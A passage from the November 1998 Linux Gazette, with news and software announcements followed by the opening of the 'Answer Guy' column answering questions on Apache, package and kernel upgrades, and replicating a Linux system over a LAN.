are willing to help other groups, this is the mailing list for you, whether you have 5 members or 500! How to subscribe to this list: Send a message to majordomo@ntlug.org with the following text in the message body: subscribe lug_support YOUR_EMAIL_ADDRESS _________________________________________________________________ Free Software Award Event Kicks off "One World, One Net" Conference Larry Wall received the First Annual Free Software Foundation Award for the Advancement of Free Software at the MIT Media Lab on Friday evening. At a reception and presentation attended by CPSR Conference registrants, computer hackers and members of the press, FSF Founder Richard Stallman presented the award, a quilted GNU (GNU's Not Unix) wall hanging. Larry Wall won the Free Software Foundation Award for the Advancement of Free Software for his programming, most notably Perl, a robust scripting language for sophisticated text manipulation and system management. His other widely-used programs include rn (news reader), patch (development and distribution tool), metaconfig (a program that writes Configure scripts), and the Warp space-war game. _________________________________________________________________ Eureka! On Tuesday, September 15th, 1998 in Paris, France at our user event named "Eureka", and again on October 5th at DECUS in Los Angeles, Compaq Computer Corporation announced intent to extend their support to the Linux operating system to include Intel as well as the Alpha platforms. In addition to extending this support to another architecture, Compaq is in the process of putting together a comprehensive program of Linux support. This support includes, but is not limited to: * working with the Linux community to port Linux to new platforms * qualification of Linux on both Intel and Alpha platforms * providing selected platforms with no license, specifically for Linux and other freely available operating systems * working with the Linux community and distributions to provide world-wide telephone and hardware support * porting selected Compaq software products to both Intel and Alpha platforms In continuing the concept of working with the Linux community, Compaq intends to extend its Linux support through its extensive channels partner programs. Compaq feels that this will give the broadest possible selection of products and solutions to our end customers, with our VARs, OEMs, Distributors and Resellers working with the customer to match the distribution, the layered products and third party offerings to that customer's needs. _________________________________________________________________ IBM Enhances its Websphere Application Server IBM announced that it has extended the HTTP services in IBM WebSphere* Application Servers in the areas of performance, security and platform support by adding new functionality to the HTTP services that are packaged with WebSphere and are based on the Apache HTTP Server. Today's announcements include technology developed by IBM Research that boosts the performance of HTTP services in the IBM WebSphere Application Server and Secure Socket Layer (SSL) support that provides customers with the security necessary to operate a web site that can handle sensitive information, such as financial transactions. In addition, IBM announced a port of the Apache HTTP Server to the AS/400* operating system. The AS/400 port will be offered to the Apache Group through the Open Source model. The Fast Response Cache Accelerator (FRCA) technology, developed by IBM Research, doubles the performance of HTTP services in WebSphere on Windows NT, according to lab tests done by SPEC (The Standard Performance Evaluation Corporation). Both the FRCA and SSL technologies from IBM will be available at no additional charge as part of all editions of the IBM WebSphere Application Servers. The technologies will be released in the next version of WebSphere Application Server before the end of the year. The FRCA technology will also be used to boost the performance of the HTTP Server for OS/390*, and will be available as part of OS/390 Version 2 Release 7 in March of 1999. _________________________________________________________________ CommProc A new OpenSource project, a general distributed-computing toolkit for quick assembly of distributed applications called CommProc, was presented at the October ApacheCon98 conference. CommProc is an advocacy effort for Linux and Apache and includes an interface module for the Apache HTTP server. Documentation and source code for the project is available at: http://www.commproc.com _________________________________________________________________ Launch of LinuxWorld Magazine IDGs Web Publishing Inc. announced the launch of LinuxWorld magazine (http://www.linuxworld.com). A Web-only magazine supplying technical information to professional Linux users who are implementing Linux and related open source technologies in their computing environments. Inside the first issue are stories such as an interview with Linus Torvalds, the first installment of the Linux 101 column titled "A distribution by any other name," and a look at the new Windows NT domain security features found in Samba 2.0 titled "Doing the NIS/NT Samba." _________________________________________________________________ Linux Expo 1999 Call for Papers May 18 - 22, 1999 Raleigh, North Carolina Dates for Refereed paper submissions * Extended abstracts and/or full papers due: December 1, 1998 * Notification to authors: January 15, 1999 * Full papers due for final review: February 15, 1999 * Camera-ready full papers due: March 1, 1999 Program Committee * Marc Ewing, Red Hat Advanced Laboratories * Richard Henderson, Cygnus Solutions * Dirk Hohndel, S.u.S.E. GmbH * Larry McVoy, BitMover (Chair) * Carl Staelin, Hewlett-Packard Labs * Theodore Ts'o, MIT * Stephen Tweedie, Red Hat Software * Victor Yodaiken, New Mexico Institute of Technology Overview The goal of the technical track of Linux Expo is to bring together engineers and researchers doing innovative work associated with Linux. See you at LinuxExpo '99! _________________________________________________________________ USENIX 1999 Events USENIX is the Advanced Computing Systems Association. Its international membership includes engineers, system administrators, scientists, and technicians working on the cutting edge. Their conferences are recognized for delivering pragmatically-oriented, technically excellent reports in a highly interactive, vendor-neutral forum. Upcoming Events for 1999 _________________________________________________________________ SmartWare DevCon99 Date: Wed, 28 Oct 1998 20:28:52 -0600 DevCon99 is scheduled for November 14 and 15, 1998. 49 hours of training shoehorned into two days including "How to Use the Graphic Database Frontend", Developing a RAD application, the introduction of the SmartERP program, marketing, advertising and free videotapes for all attendees. SmartWare2000, offers solutions for the small to medium company and is the only product capable of running on everything from old 286 ATs up to Sun or SiliconGraphics systems and use the same data at the same time. When: November 13 (Dinner at Clubhouse Inn), 14 & 15 Where: Washburn University, Topeka, Kansas What: 2 Full Days of training on SmartWare2000, The Graphic Database Front End, RAD, Free SmartWare2000, Food, Room, Videos and more. For more information: Greg Palmer, greg@mobiusmarketing.com _________________________________________________________________ Linux Links Linux FAQ: http://www.terracom.net/~kiesling/ QtEZ, a GUI builder for the Qt library: http://qtez.zax.net/qtez/ Blackmail 0.29: http://www.jsm-net.demon.co.uk/blackmail/source/blackmail-0.29.tar.gz SGMLtools homepage: http://www.sgmltools.org/ Distribution Answers: http://www.angband.org/~joseph/linux/ Mini-howto on setting up Samba on Red Hat Linux: http://www.sfu.ca/~yzhang/linux/ PostgreSQL Database HOWTO: http://sunsite.unc.edu/LDP/HOWTO/PostgreSQL-HOWTO.html DragonLinux: IronWing: http://members.tripod.com/~dragonlinux/ _________________________________________________________________ Software Announcements _________________________________________________________________ Cygnus Solutions Announces Low Cost Verions of GNUPRO Toolkit for Linux Cygnus(R) Solutions announced the availability of GNUPro(TM) Toolkit, a new product line of fully tested, low-cost development tools releases for native and embedded software developers. Addressing the needs of the growing Linux community, the first release of Cygnus GNUPro Toolkit is targeted at software engineers developing commercial applications on the Linux operating system (OS). Today's announcement marks the first in a series of GNUPro Toolkit releases planned for a range of platforms. "Cygnus has extended its commitment to the Linux community and users of Red Hat Linux by providing a fully-certified official release of GNU development tools," said Bob Young, president and CEO of Red Hat Software. "Given the increasing popularity of both Red Hat Linux and Cygnus GNUPro, Red Hat is pleased to continue its partnership with Cygnus to provide software developers the highest quality Linux operating system and development tools." Key Features and Benefits * Cygnus GNUPro C Compiler - The latest advances in compiler optimization extend the programmer's ability to optimize code for speed and size, resulting in faster execution. * Cygnus GNUPro C++ Compiler - The industry-leading C++ compiler provides enhanced exception handling and more extensive template functionality. Cygnus offers the most comprehensive support for C++ and continues to track the standard, leading to greater C++ coding flexibility. * Cygnus GNUPro Visual Debugger - A source- and assembly-level debugger, it includes Cygnus' high-performance graphical user interface that enables users to quickly visualize, locate, and debug code. * Highly Tested Tool - Includes 47,000 unit tests (30,000 for the standard compiler test suite, 10,000 for the native debugger test suite, and 7,000 for C++ features); regression testing (both reported bugs and those uncovered by Cygnus); conformance testing (tests from Perennial and Plum Hall); and tests for building popular applications. Pricing and Availability Cygnus GNUPro Toolkit for Linux is priced at $149 and is immediately available for Red Hat Linux 4.2 and 5.1 on x86 platforms by ordering online at http://www.cygnus.com/gnupro/. _________________________________________________________________ Panorama Panorama is part of the GNU project. For more information about it, visit the URL 'http://www.gnu.org'. It is released under the GPL license, that you can read in the file 'LICENSE' in this directory. Panorama is a framework for 3D graphics production. This will include modeling, rendering, animating, post-processing, etc. Currently, there is no support for animation, but this will be added soon. Functionally, it is structured as an API, composed by two dynamic libraries, and several plugins, that you can optionally load in runtime. A simple console mode front-end for this API is included in the package, that can load a scene description in one of the supported scene languages, and then outputs a single image file in any of the supported graphic formats. Panorama can be easily extended with plugins. Plugins are simply dynamically linked C++ classes. You can add plugins without recompilation, and even in runtime, when this option is added to the graphic interface. You can find more information about Panorama, or download latest distribution at: http://www.gnu.org/software/panorama/panorama.html _________________________________________________________________ Netscape Wrapper v2.0.0 What is it: The Netscape Wrapper is a bourne shell script used to invoke Netscape on a Unix platform. It performs copying initial default files, a postscript bug work around, security check, and setting up the environment. The new version also provides enhanced functionality. What is new in this version: * Rewritten. Faster and cleaner execution. * Fully sh. No longer relies on bash features. * Root security check bypass. * New options subset. (+news, +mail, ...) * Defaults to opening a new window. The most significant change is that the script will attempt to open a new browser before executing Netscape. IE if no Netscape process is present, Netscape will be executed, otherwise a new browser window is created. Likewise when using the new option subset, if Netscape is not running, it will be execute with that option as the default window, or if Netscape is running, that option will be opened using the current process. ftp://ftp.psychosis.com/linux/netscape-wrapper_2.0.0 _________________________________________________________________ plotutils Version 2.1.6 of the GNU plotting utilities (plotutils) package is now available. This release includes a significantly enhanced version of the free C/C++ GNU libplot library for vector graphics, as well as seven command-line utilities oriented toward data plotting (graph, plot, tek2plot, plotfont, spline, ode, and double). A 130-page manual in texinfo format is included. As of this release, GNU libplot can produce graphics files in Adobe Illustrator format. So you may now write C or C++ programs to draw vector graphics that Illustrator can edit. Also, the support for the free `idraw' and `xfig' drawing editors has been enhanced. For example, the file format used by xfig 3.2 is now supported. RPM's for the plotutils package are available at ftp://ftp.redhat.com For more details on the package, see its official Web page. _________________________________________________________________ PROCMETER V3.0 This is a new version of ProcMeter that has been re-written almost completely since the previous version. It is now designed to be more user-friendly and customisable, the textual as well as graphical outputs and the extra mouse options avilable are part of this. It is perhaps now less of a system status monitor and more of a user information display. It can be configured to show the date and/or time instead of having a clock and it can also monitor your e-mail inbox and act like biff. The ProcMeter program itself is a framework on which a number of modules (plugins) are loaded. More modules can be written as required to perform more monitoring and informational functions. Available at ftp://ftp.demon.co.uk/pub/unix/linux/X11/xutils/procmeter3-3.0.tgz Take a look at the ProcMeter web page _________________________________________________________________ ypserv 1.3.6 Version 1.3.6 of an YP (NIS version 2) Server for Linux is released. It also runs under SunOS 4.1.x, Solaris 2.4 - 2.6, AIX, HP-UX, IRIX, Ultrix and OSF1 (alpha). The programs are needed to turn your workstation in a NIS server. It contains ypserv, ypxfr, rpc.ypxfrd, rpc.yppasswdd, yppush, ypinit, revnetgroup, makedbm and /var/yp/Makefile. ypserv 1.3.6 is available under the GNU General Public License. You can get the latest version from: http://www-vt.uni-paderborn.de/~kukuk/linux/nis.html _________________________________________________________________ MAM/VRS MAM/VRS is a library for animated, interactive 3D graphics, written in C++. It works on Unix (tested on Linux, Solaris and Irix) and Windows 95/98/NT. MAM/VRS can produce output for many rendering systems: OpenGL (or Mesa), POVRay, RenderMan and VRML are supported yet. It provides bindings to many GUIs: Xt (Motif/Lesstif/Athena), Qt, Tcl/Tk, MFC and soon GTk. It is covered by the terms of the GNU LGPL. Visit our homepage for more information and to download it: http://wwwmath.uni-muenster.de/~mam _________________________________________________________________ KIM - interactive process manager 1.1-1 Description: The Kim is interactive (ncurses) user friendly process manager for OS Linux. It reads the /proc(5) directory. The '/proc' is a pseudo-filesystem which is used as an interface to kernel data structures. Features: * process list * process tree * select more process * send all existing signals (to one or more process) * reload * process sort * display /proc/#/maps * display 45 information about all process * and more... Download: * source, rpm, deb URL: http://home/zf.jcu/cz/~zakkr/kim/ Version & Dependency: The Kim is independent on other program, but all version depend on libproc >= 1.2.6 and ncurses. Lincense: Copyright (c) 1998 Zak Karel "Zakkr" _________________________________________________________________ PIKT PIKT is a set of programs, scripts, data and configuration files for administering networked workstations. PIKT's primary purpose is to monitor systems, report problems (usually by way of e-mail "alerts"), and fix those problems when possible. PIKT is not an end-user tool; it is (for now) to be used by systems administrators only. PIKT includes an embedded scripting language, approaching in sophistication several of the other scripting languages, and introducing some new features perhaps never seen before. PIKT also employs a sophisticated, centrally managed, per-machine/OS version control mechanism. You can, setting aside the PIKT language, even use it to version control your Perl, AWK, and shell scripts. Or, use it as a replacement for cron. PIKT is freeware, distributed under the GNU copyleft. Check out the Web Page for more info! _________________________________________________________________ Yard 4.04.03 YARD-SQL version 4.04.03 has been released. Until now, it is available for Linux and SCO-UNIX and contains the following new features: * YARD-ESQLC now contains libsql and sqlnets as shared libraries. The product YARD-ESQLC now contains libsql.a and sqlnets.a as shared objects too. The names are libsql.so and sqlnets.so * The base address of dynamic SHM is choosen based on existing segments. Until know the base address of dynamic SHM segments was determined by the kernel (Parameter 0 in shmat()). Know this address is calculated from the existing SHM segments, so that the complete SHM will have no gaps. This behaviour can be switched off by setting the environment variable YARD_NOCONSECSHM. * The socket flag TCP_NODELAY is set for socket connections. On some OS (eg. FreeBSD), setting TCP_NODELAY on the socket connection between client and server dramatically improves performance. There should be no negative effect by setting this flag. So it will now always be set. It can be disabled by setting the environment variable YARD_NOTCPNODELAY to 1. * The disk configuration of a DBS is stored in the DBS in addition to the cfgfile * yardinit offers a new option -l for reducing logfiles. If option -l is used when a DBS is switched from offline mode to main- tenance mode, all logical logs are released instead of performing a logical recovery. Though this jeopardizes logical consistency it is an easy way for starting a DBS when all logical logs are filled up. The correct way for starting such a DBS is to start yardinit -m on one terminal and then start yardarch -l on another terminal for backing up the logical logs while yardinit is waiting. * Clients can use strings for inserting data into BLOBs Until now, a BLOB structure (eg. in ESQLC) or an object type (in Java) had to be used for inserting data into a BLOB/TEXT column. Now, Clients can use simple strings for that purpose. When the server runs in batch mode, a string will still be used as file name. * and more.... Check out http://www.yard.de for more information about YARD _________________________________________________________________ RealSecure 3.0 ISS today announced RealSecure 3.0, a new, integrated system that combines intrusion detection with state-of-the-art response and management capabilities to form the industry's first threat management solution. Formerly known as "Project Lookout", RealSecure 3.0 is the integrates network- and system-based intrusion detection and response capabilities into a single enterprise threat management framework providing around-the-clock, end-to-end information protection. Visit the ISS web site. _________________________________________________________________ Applix Released Applixware 4.4.1 for Linux, UNIX, and Windows Platforms Applix, Inc. the release of Applixware 4.4.1 for the Linux platform as well as all major UNIX operating systems, Windows NT and Windows 95. This latest release delivers a new filtering framework that has been optimized for document interchange between Microsoft's Office 97 product, as well as Y2K compliance. Applixware includes Applix Words, Spreadsheets, Graphics, Presents, and HTML Author. This Linux version also includes Applix Data and Applix Builder as standard modules. Applixware for Linux is available directly from Applix, as well as from its partners, including Red Hat and S.U.S.E. Linux version beta test users also attest to the results. "Export of Applix Words documents to Word 97 works great, even with Swedish letters," said Klaus Neumann, a university cognitive scientist. He continued, "I think Applixware is the most promising office solution for Linux. I've tried StarOffice, WordPerfect, Lyx. Nothing comes even close to Applixware--there are none of the memory, uptime, printing, or spell-checking problems I experience with the other suites." Applixware 4.4.1 for Linux includes for the first time Applix Data, a new module offering point and click access to information stored in relational databases. No SQL knowledge is required to access the information. Once accessed, the data can be linked directly into Applix Words, Spreadsheets, Graphics, Presents, and HTML Author. Visit the company's web site for more information. _________________________________________________________________ iServer Servertec announced the release of iServer, a small, fast, scalable and easy to administer platform independent web server written entirely in JavaTM. iServer is a web server for serving static web pages and a powerful application server for generating dynamic, data driving web pages using Java Servlets, iScript, Common Gateway Interface (CGI) and Server Side Includes (SSI). iServer provides a robust, scalable platform for individuals, work groups and corporations to establish a web presense. Visit the Servertec Web site for more information. _________________________________________________________________ TkApache v1.0 TkApache v1.0 was released unto the unexpecting world Thursday, October 16th. In it's first few hours, more than a 1,000 downloads were logged! Anyway, it's a fully GUI front-end to managing and configuring an Apache web server and it's written in PerlTk - released under the GPL, developed COMPLETELY under Linux, Website, graphics, code, etc. The TkApache home page could tell you a lot more... _________________________________________________________________ Crack dot Com is closing its doors WHY: Ran out of cash. REALLY WHY: Lot of reasons, but then again, there are a lot of reasons that we got as far as we did. I think the killer reason, though, was that Golgotha was compared by publishers primarily to Battlezone and Uprising, and those titles sold really poorly. WHAT NOW?: Now we file articles of dissolution w/ the secretary of state, and we file bankruptcy. IS THAT IT?!: No. WHAT ELSE?: We're releasing the Golgotha source code, and data to the public domain. WHERE'S THE SOURCE CODE?: I want to personally thank everyone who supported & rooted for us. That was really nice of you. BLAH BLAH, WHERE'S THE SOURCE?: I want to apologize to the fans and business partners we've let down. BOO HOO! WE CARE. OUT WITH IT!: Thanks for your patience. The source & data can be found at http://www.crack.com/golgotha_release. And of course, the ex-Crack developers are up to new & interesting things which you can follow at the web site. Sincerely, Dave Taylor _________________________________________________________________ Published in Linux Gazette Issue 34, November 1998 _________________________________________________________________ [ TABLE OF CONTENTS ] [ FRONT PAGE ] Back Next _________________________________________________________________ This page written and maintained by the Editor of Linux Gazette, gazette@ssc.com Copyright © 1998 Specialized Systems Consultants, Inc. (?) The Answer Guy (!) By James T. Dennis, answerguy@ssc.com Starshine Technical Services, http://www.starshine.org/ _________________________________________________________________ Contents: (!)Greetings From Jim Dennis (?)dual /boot partitions --or-- Automated Recovery from System Failures (?)e-mail quotas --or-- Quotas for Outgoing e-mail (?)Booting and partitions --or-- Suggestions for Linux Users with Ultra Large Disks (?)French loadkeys --or-- More on International Keyboard Mappings and Monochrome X (?)Digi C/X Host W/ C/Con 16 --or-- Linux Support for the DigiBoard C/X Intelligent Serial Ports (?)Shell File!!!!! --or-- All that Vaunted Support for those Windows Users (?)apache server --or-- Executing "Normal HTML" Files with Apache (?)Keeping my RH5.0 system up to date --or-- Updates: Risks and Rewards (?)Ether Troubles --or-- NE2000 "clones" --- not "cloney" enough! (?)"Good Times"-email is it a virus? --or-- The Infection and the Cure: (Good Times as a Virus) (?)Query (?)... Redhat 4.2/Motif, problem discovered. --or-- Conflict: Num-Lock, X Window Managers, and pppd (?)Re Script (?)Here's a doozy --or-- Telnet/xterm: Log to file (?)RE how to find out the serial connect speed of a modem (?)HELP!! --or-- Finding Soundcard Support (?)Problems with backup --or-- Problems with a SCSI Tape Drive (?)Is there a testsuite for glibc v2.0.x? --or-- Test Suites for GNU and other Open Source (TM) Software (?)nt 4.0 ras dialin problem --or-- Another Non-Linux Question (?)Macro Virus? (?)xdm --or-- Remote X using xdm ____________________________ (!)Greetings From Jim Dennis ____________________________________________________ (?) Executing "Normal HTML" Files with Apache From ajrlly on 26 Sep 1998 is there a way to configure apache so that when someone requests a particular page (ie http://www.whatever.com/~user/index.html) that a cgi script is automatically invoked, transparent to the requestor. The goal is to have a diff page served depending on the ip address. thnx (!) I think you could use the "x-bit hack" feature --- mark the index.html page as a Unix/Linux "executable" and use SSI (server-side include) directives to accomplish this. There are also various modules for Apache to support XSSI (extended server-side includes) ePerl and EmbPerl (embedded perl interpreters which execute code your documents), and other forms of dynamic output. For real details you should probably read the FAQ --- try http://www.apache.org for access to that. In addition that FAQ recommends the comp.infosystems.www.servers.unix newsgroup for general support. There are also a couple of companies that offer commercial support for the system. You can read about new developments in Apache by regularly visiting the Apache Week web site (http://www.apacheweek.com) Which should probably be right next to "Linux Weekly News" http://www.lwn.net, on your lists of weekly sites to visit. Unfortunately they don't seem to have an "answer guy" over at Apache Week --- so we can't forward your question off to him. Personally I don't like the idea of publishing different "apparently static" web pages based on the IP address of the requestor. First it seems deceitful. Also IP addresses and DNS domains (reverse or otherwise) are very poor ways of identifying users or readership. In addition these sorts of "dynamic" pages put extra load on the server and add additional latency to the request. This is a particularly bad idea for index.html pages --- which are the most often accessed. I think it is best to identify what you really want the world to see (a process of writing, composition and publication) and put that into your main static web pages. If you need timely or periodic updates (web counters, whatever) use a cron job to periodically re "make" to static pages from their "sources" (templates) using the text processing tool of your choice (m4 and the C preprocessor, cpp seem to be particularly popular for this, although many specialized tools exist for the task). Part of this also depends on what you really trying to do. For example if you want "internal" users to see one set of pages and "external" users to see another --- you best bet is to configure your server with two interfaces (or at least IP aliases) and use the Apache "Bind" directive to bind one copy of the Apache server to one IP address/interface and a different one (with different configuration, document root, etc) on the other). Naturally each of your virtual hosts ("soft" using HTTP 1.1 features, or "hard" requiring separate IP addresses) can have completely different document roots and many other configuration differences. All of that falls under the category of "virtual hosting" and is covered pretty extensively in the Apache documentation (which is all avialable at the aforementioned web sites). If you're trying to provide information in a different language or format based on the source of the request you should read about "Content Negotiation" at: Apache Week: 26th July 1996 http://www.apacheweek.com/issues/96-07-26 If you're attempting to do this based on "security" or "cookies" there extensive methods for doing this supported by Apache -- and most of them are most easily accomplished by performing "redirection" as the connection is established. For real security --- to provide web pages to your "extranet" partners (strategic customers, vendors, etc) and your mobile employees --- I wouldn't suggest anything less then "client side certificates" over SSL (secure sockets layer --- a set of encryption protocols, proposed by Netscape and implemented by many browsers and in several other packages. The dominant "free" SSL code base is SSLeay --- by Eric A. Young of Australia). These sorts of certificates are issued to users on and individual basis (they can be from a recognized third party CA --- certifying authority --- or you can create your own "in-house" CA and accept those, exclusively or otherwise. There are a large number of modules available for Apache, some to things like block access based on the "Referrer" value (to prevent other web sites from using your pictures and bandwidth by "reference", for example), or to fix UpperVSLOWER/CasING/ problems in the requeste URL's, and a couple of different ones to perform rewriting of request URL's --- like the mod_rewrite module which supports full regex re-writes and some weird conditional and variable assignment features. It appears that the "official" place to learn about Apache modules seems to be the "Module Registry" at http://www.zyzzyva.com [ It moved to http://modules.apache.org/ which is much easier to remember too. Update your bookmarks, everybody :) -- Heather ] ____________________________________________________ (?) Updates: Risks and Rewards From Frits Hoogland on 08 Oct 1998 Hi almighty answerguy! I'm a bit confused by all the updates of various system components (like the libc, gcc, etc, etc). Is it advisable to loop at ftp.redhat.com for updates of my 5.0 system? Is it advisable to download a new kernel? Can I install let say kernel 2.0.35 (which, as I noticed, nearly everyone uses) or are there things I have to consider, things I have to check, etc.? (!) That's an excellent question. Using Red Hat's package management system (RPM) does make it faster and easier for most "mere mortals" (myself included) to upgrade most packages and install most new ones. Debian package management is allegedly at least as good --- but it doesn't seem to be documented nearly as well so it's harder to learn than RPM. (Hey, Debian dudes if you write a DPKG/APT Guide for RPM users --- you might win more converts!). Even Slackware's pkgadd (or is that pkg_add, it's been so long) is somewhat easier than the old "manly" way of upgrading your software (downloading the sources, and building them yourself). Indeed, even that approach (building from sources) has improved quite a bit over the years, for most packages. The mark of a good modern package is that you can install it, from source with the following sequence of commands: tar tzf /usr/local/from/foo.tar.gz # look at contents, insure that it creates # it's own directory tree and puts everything # in there: tar xzf .... cd /usr/local/src # extract the sources into our local source # tree. (Might need to do a mkdir and cd into # that if your package extracts to the "current" # directory). cd $package_source_top_level_dir view README # or 'more' or 'less' -- maybe different README's # This should have some basica instructions # which ideally will amount to: ./configure # possibly with options like --prefix=/usr/local make install ... Note that the really important parts of this are './configure' and 'make install' After that a good source package should be ready to configure and run. (Note that the "configure" command in my examples is a script generated to perform a set of local tests and select various definitions that are to be used by the make file. This, in turn, tells the local system how to "make" the program's binaries, libraries, man pages and other files in a way that's suitable for your system --- and (with the commonly implemented "install" option or "target" in "makefile" terms) tells the 'make' command where to put things. There is a difference between "./configure"-ing the sources to be build and "configuring" the resulting package). In any event, with RPM's you get the package (for your plattform: x86, Alpha, SPARC, PowerPC, etc) and type: rpm -i foo-$VERSION.$PLATFORM.rpm ... or whatever the file's name is. To upgrade a source package you follow mostly the same procedure for sources (usually saving any configuration files and/or data from the previous versions, and maybe moving or renaming all of the old libs and bins and other files). It would be nice if source package maintainers make upgrades easier by detecting their prior installed version and suggesting a "make upgrade" command --- or something like that). To upgrade a typical RPM you just type: rpm -U foo.....rpm There are similar commands for Debian, but I don't know them off the top of my head and they aren't handy to look up from this S.u.S.E. (RPM) system. (I'm sure I'll get flamed for the perceived slight --- oh well. Comes with the territory. Please include techie info and examples with the flames). Now, when it comes to major system upgrades (like libc5 to glibc, and from a 1.x kernel to a 2.x kernel) it's a different matter. If you have a libc5 system and you just install glibc unto it; there's no real problem. The two will co-exist. All of your existing libc5 programs will continue to load their shared libraries, and all your glibc2 (a.k.a. libc6) linked programs should find the new library. Running a mixture of "typical" programs from both libraries will have not important effects (although you'll be using more memory than you would if all you binaries are linked against the same libraries. Notice I said "typical" --- when it comes to system utilities, like the 'login' command there are some interactions that are significant and even incompatible. I've heard that the format of the "utmp" and "wtmp" records are different (these are user and "who" log files) which are accessed by a whole suite of different utilities (like the 'who' and 'w' commands, the 'login' and 'xdm' commands, 'screen' and other utilities). So, it's best to upgrade the whole system to glibc at once. (The occasional application, one that is not part of the base "system" and isn't "low level" that uses a different version/set of libraries won't be a problem). With most recent kernels you can install the sources under /usr/src/linux and running the following command: make menuconfig (go through a long list of options to customize the kernel to your system and preferences)... or copy in your old .config file and type: make oldconfig ... to focus on just the differences between the options listed/chosen for your previous kernel and the new one. Then you'd type something like: make clean dep install modules modules_install ... and wait awhile. I've done kernel upgrades that were that easy. Usually I read the "changelog" and other text files, and the help screens on most of the new options (I usually also have to refresh my memory on a couple dozen old options). These are major upgrades because they can affect the operation of your whole system. Recently my father (studying Mathematica) needed a better video card. This was an old VLB (VESA Local Bus) 486 running Red Hat 4.1. So I decided to build a new system (Pentium 166, PCI video card, new 6Gb UDMA hard disk) and upgrade his system to Red Hat 5.1. So, here's how I did that: Build new hardware, boot from a customized copy of Tom Oehser's "root/boot" diskette (http://www.toms.net/rb) and connect to the LAN using a temporary IP address that we have reserved for this purpose. I then run fdisk on the new drive and issue a command like: for i in 1 3 5 6 7; do mk2efs -c /dev/hda$i; done (to make filesystems all all of the partitions, root, rescue root, /usr, /home and /usr/local). I go away and answer e-mail and get some coffee, getting thoroughly side tracked. A day or so later I remember to finish work on that (he reminds me that he has some homework to do). Now I mount all of these filesystems they way I want them to be later (when I reboot from the hard disk). So I mount the new rootfs under /mnt/den (the machine's name is Deneb --- an obscure star) and the new usr under /mnt/den/usr and the new /usr/local under /mnt/den/usr/local (etc). Then I copy his old /etc/passwd and /etc/group file into the ram disk (see below) and issue a command like the following: rsh deneb "cd / && find . | cpio -o0BH crc " \ | ( cd /mnt/den && cpio -ivumd ) ... this copies his entire existing system to the new system. When that's done (doesn't take long, but I don't time it --- it runs unattended until I get back to it), I edit the /mnt/den/etc/fstab, run a chroot command (cd /mnt/den && chroot . /bin/sh) fix up the lilo.conf file and run /sbin/lilo, and reboot (with the root/boot diskette removed. Now I've replicated his whole system (and accidently knocked his off of our LAN because I forgot to reset the IP address of this box). So, I fix that. I make a last check to make sure that everything *really* did copy over like I wanted: cd / ; rsh den " cd / && tar cf - . " | tar df - ... this copies all of his file back over the net again (this time using 'tar' instead of cpio), but the receiving copy just compares (diffs) the incoming file "archive" (from it's standard input, a.k.a. the pipelined data) rather than extracting them and writing them into place. This reports a few differences among some log files, the /etc/ files that I modified, and it gives some errors about "sockets" (Unix domain sockets show up in your file tree as little filenames with the "s" as the leading characters in an 'ls -l' output; there are about five or six of these on a typical system, one for your printer, one for you syslog and one or two for any copies of X Windows or 'screen' you may have run. These should not be confused with "internet domain" sockets which only exist in memory and go through your IP interfaces). I presume that the tar diff feature simply doesn't support Unix domain sockets, it's probably a bug, but not a significant one to me. A different bug in 'cpio' is a bit irritating and I have to report it to their maintainer. Remember how I copied over my old passwd and group files before the transfer? There's *supposed* to be an option to "use the numeric UID and GID" (-n or --numeric-uid-gid) in 'cpio' (and a similar one in newer versions of 'tar'). However, my copies (on several machines from several distributions around the house) all just give an error if I try to use that switch. Not a reasonable error message like: "option not supported" or "don't do that you moron" --- just a stubborn insistence on printing the "usage" summary which clearly shows these options as available! The quickest workaround is to just copy of the passwd and group files to the local system before attempting the "restore" (replication). One time when I failed to do this (using a version of 'tar' that didn't support the feature) it squashed the ownership of every file to 'root' --- resulting in a useless system. Luckilly I was just playing around that other time, so I learned to watch out for that. So, now I just slip in my Red Hat 5.1 CD (courtesy of the IBM booth at last week's ISPCon in San Jose --- where they were giving them out). I think IBM's booth got them from the BALUG (Bay Area Linux Users Group) which is still trying to scrape up a few hundred bucks to pay for the 'free' booth they were offered. (Free means no fees to the convention co-ordinators; we went out of pocket for "renting" tables and chairs and paying for a power extension for the demo computer). From there I just let the RH 5.1 upgrade process run its course. What!?! All that work just to let run the upgrade? Yep! I spent years in technical support (MS-DOS and Windows markets). I consider vendor and OS upgrades to be the most dangerous thing you can do on your computer. I'm sure they've caused more downtime and lost data than failed hard drives, virus infections, stupid users (other than the stupidity of blind updates), and disgruntled employees. So, I like to make sure that I can get back to where I started. For me, that means "start with a copy of the system or a restore of the system's backups" I've been known to take a hard drive out of a system, install a new one, restore the backup to that and then to the restore to the "new" system. (The old hard drive stays on a shelf until the data on it is so out of date it would be worth copying back in --- then gets rolled into some other system, or the same one, as "extra disk space"). Now, please don't take this as a personal attack on Linux or Red Hat. So far they haven't failed me. I have yet to see an "upgrade" destroy one of my systems. However, my professional experience as proven to me that this is the right approach even for one of my home systems. In this case the upgrade was silky smooth. I had to fuss a little to get in a new X server (different video card, remember) and the new system really didn't like the PS/2 mouse that I have it (which was of no consequence, since my father uses a serial port trackball, so the mouse that I had in /dev/psaux was just a temporary one anyway). Oh, yeah, I had to compile a new kernel to support the ethernet card I'm using (a Tulip based Netgear). There was probably a module laying around the CD for it somewhere --- but so what. It's a good test for the system. At this point the old computer sitting in the living room, and the new one is in his room running Mathematica. In a week or so (when we're really convinced that everything is really O.K with the new box) I'll prep that old 486 up as a server (my colocated server is do for an upgrade --- so this one will go in for it, and that one will become the spare and test bed). I can understand how most users don't want to have whole systems around as spares. However, these days, it's not too expensive to keep an extra 6Gb hard drive laying around for these sorts of "major" upgrades. It's also a good way to insure that your backups are working (if you use the "restore" method rather than a network "replication" trick). Note that this whole process, as complicated as it sounds, only takes a little more "human" time than just slipping in the CD and doing it blindly. The system keeps pretty busy --- but I don't wait for it, I only issued 10 commands are so (I have a couple of scripts for "tardiff" and "replicate" to save some of the typing). For the daring you can run a program called 'rpmwatch' (or Red Hat or other RPM based systems) or "autoup.sh" (Debian). You point these at your favorite mirror and they will automatically update new packages. Of course this is "daring" --- I personally wouldn't consider it from any public mirror site. I have recommended it to corporate customers, where they point their client systems at an internal server and their staff posts rpm's after testing (limited automated deployment). This is a little easier for some sorts of upgrades than using 'rdist' and home brewed scripts. In terms of upgrades --- my main "gateway" (router, server, mailhost, uucp hub, and internal web server) is an old 386/33 --- it's about a decade old, has 32Mb of RAM and single, full SCSI chain with a few Gig of disk space). It runs an old copy of RH 4.2, which is an upgrade (disk replication/swap method) from 3.03, which is an upgrade from Slackware 1.(something), which was an 